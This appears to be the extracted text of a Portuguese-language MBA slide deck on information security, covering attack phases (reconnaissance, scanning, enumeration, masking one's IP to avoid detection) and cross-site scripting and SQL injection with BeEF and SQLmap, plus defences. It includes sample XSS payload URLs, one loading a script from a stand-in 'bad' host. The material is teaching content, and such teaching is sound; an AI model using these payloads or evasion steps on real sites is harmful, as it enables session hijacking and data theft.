Você está na página 1de 26

Segurança em Tecnologia da Informação

MBA – FIAP – Arquitetura de Soluções – 30ASO


Cross-site scripting, SQL Injection e SQL
Map
Assuntos abordados
• Fases de invasão
– Reconhecimento
– Varredura
– Enumeração
– Privacidade (Opcional)

• Exploração de vulnerabilidades
– Sql Injection - SQLmap
– XSS - Beef
Reconhecimento
• Footprint
• Consulta de Whois
• Google hacking
Essa é a fase em que se conhece o ambiente
que vai ser invadido.
Varredura
• Network Mapper
• SHODAN
Fase em que e feita uma análise para listar
todos os serviços rodando o alvo
Enumeração
• Captura de Banners
• FingerPrint e service Scan
Fase de listagem e análise de serviços
vulneráveis
Privacidade
• Mascarando IP
• ProxyChains
• VNP’s gratuitas
• Tor
Fase de mascaramento de IP para
não deixar rastros e não ser descoberto
Vulnerabilidades abordadas
• XSS - Beef
• SQLi - SQLMap
Cross-site scripting (XSS)
• O que é ?

• Tipos de XSS
– Não persistente (Reflected)
• Exemplos
• Consequências

– Persistente (Stored)
• Exemplos
• Consequências

– Baseados no DOM (DOM based)


• Exemplos
• Consequências

• Como se proteger ?
O que é ? - Cross-site scripting (XSS)
• O ataque de Cross-site scripting (XSS) é um ataque encontrado
normalmente em aplicações WEB que permite ao atacante inserir
código malicioso em uma página visitada por outro usuário. Devido
muita das vezes a Aplicação no lado do servidor não tratar
devidamente a entrada de dados .
Tipos de XSS - Cross-site scripting (XSS)
• Não Persistente (Reflected)
– Os não persistentes são os mais comuns, sendo os
principais responsáveis por ataques de phishing.

– Esse tipo de ataque depende de uma ação do usuário –


normalmente um click num link malicioso.

– Possivelmente, poucos clicariam em um link para


http://www.evilsite.com/photos

– Mas, caso um “amigo” mandasse a URL


http://www.nasa-news.org/%7D%3C/style%3E%3Cscript
Tipos de XSS - Cross-site scripting (XSS)
• Não Persistente (Reflected)
– Exemplo:
– Tela de busca de um site vulnerável.
Tipos de XSS - Cross-site scripting (XSS)
• Não Persistente (Reflected)
– Exemplo:
– Resultado de busca.
Tipos de XSS - Cross-site scripting (XSS)
• Não Persistente (Reflected)
– Exemplo:
– Um possível fluxo para esse ataque seria o envio, por parte do atacante, de
SPAM com link malicioso, para caixa de entrada de e-mail de vários usuários
com alguma notícia, seguido por uma URL como esta:

http://busca.SiteExemplo.com.br/busca/busca?q=%22%
3E%3Cscript%3ECODIGOMALICIOSO%3C%2Fscript
%3E&x=12&y=9

– Como o usuário confia no domínio, clicaria no link sem maiores ressalvas


Tipos de XSS - Cross-site scripting (XSS)
• Não Persistente (Reflected)

– Consequências:

– Com esse código sendo executado no browser da vítima, o


atacante pode coletar todas as informações desejadas e enviá-las para
um servidor próprio, sem que o usuário percebesse qualquer anomalia
ou mesmo imaginasse que estava sendo vítima de um ataque.
Tipos de XSS - Cross-site scripting (XSS)
• Persistente (Stored)

– O XSS persistente é o tipo mais perigoso, pois não


depende da ação do usuário e frequentemente
acontece em sites no qual o atacante pode postar
texto, como, por exemplo, fóruns, Orkut, Twitter,
Facebook.
Tipos de XSS - Cross-site scripting (XSS)
• Persistente (Stored)

– Exemplo
– Fórum Vulnerável a XSS Persistente com Armazenamento no Servidor
– Nessa página, usuários podem deixar mensagens para outros lerem.
– O atacante vai deixar um código malicioso e para cada usuário que visite a
página vai aparecer a mensagem.
Tipos de XSS - Cross-site scripting (XSS)
• Persistente (Stored)

– Consequências
– São semelhantes do Não persistente (Reflected), fazendo com que a vitima
envie qualquer dados ao atacante.

– Quando esse tipo de ataque é descoberto em redes sociais, normalmente são


utilizados para criação de Worms.

– Um exemplo desse ataque seria o worm Mikeyy, por Michel Mooney

– O autor, inseriu um código malicioso na página, fazendo com que qualquer um


ao ler a mensagem "infectada“, executasse o código malicioso do "Mikeyy".
Tipos de XSS - Cross-site scripting (XSS)
• Baseados no DOM (DOM Based)

– DOM Based ocorre quando um código JavaScript


usa o parâmetro passado na URL para escrever na
própria página, e esse parâmetro não é uma
entidade HTML.

– O parâmetro abriga um código malicioso.


Tipos de XSS - Cross-site scripting (XSS)
• Baseados no DOM (DOM Based)

– Exemplo:
• Caso a página possuísse o seguinte trecho de código ela conseguiria inserir
scripts malicioso no contexto do site sem o conhecimento do lado servidor
ser afetado.

• http://vitima.com/teste.html#><script src=”http://bad/bad.js”></script>
Tipos de XSS - Cross-site scripting (XSS)
• Baseados no DOM (DOM Based)

– Consequências:
• Sequestro de sessão de usuários;

• Alteração do código HTML do aplicativo (visivel somente do lado do cliente);

• Redirecionar o usuário para sites maliciosos;

• Alteração do objeto DOM para captura de dados ou envio de malware.


Como se Proteger ?- Cross-site scripting
(XSS)
• Você deve se assegurar que todas as entradas de dados do usuário
não são confiáveis.

• Uma boa referência para apoiar a filtragem de dados é o dicionário de


ataques XSS fornecido pelo OWASP (
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Preven
tion_Cheat_Sheet )

• Por outro lado, os ataques de XSS também podem ser evitados pela
implementação de um filtro de aplicações web, mais conhecido como Web
Application Firewall, e também por meio de mecanismos de prevenção que
estão embutidos em navegadores modernos.
SQL Injection
O que é ? – SQL Injection
• A Injeção de SQL, mais conhecida através do termo americano SQL
Injection, é um tipo de ameaça de segurança que se aproveita de
falhas em sistemas que interagem com bases de dados via SQL. A
injeção de SQL ocorre quando o atacante consegue inserir uma
série de instruções SQL dentro de uma consulta (query) através da
manipulação das entradas de dados de uma aplicação.
SQL Map
SQL Map
• O que é ?

– Sqlmap é uma ferramenta open source para teste


de penetração que automatiza o processo de
detecção e exploração de vulnerabilidades a
Injeção de SQL.
Obrigado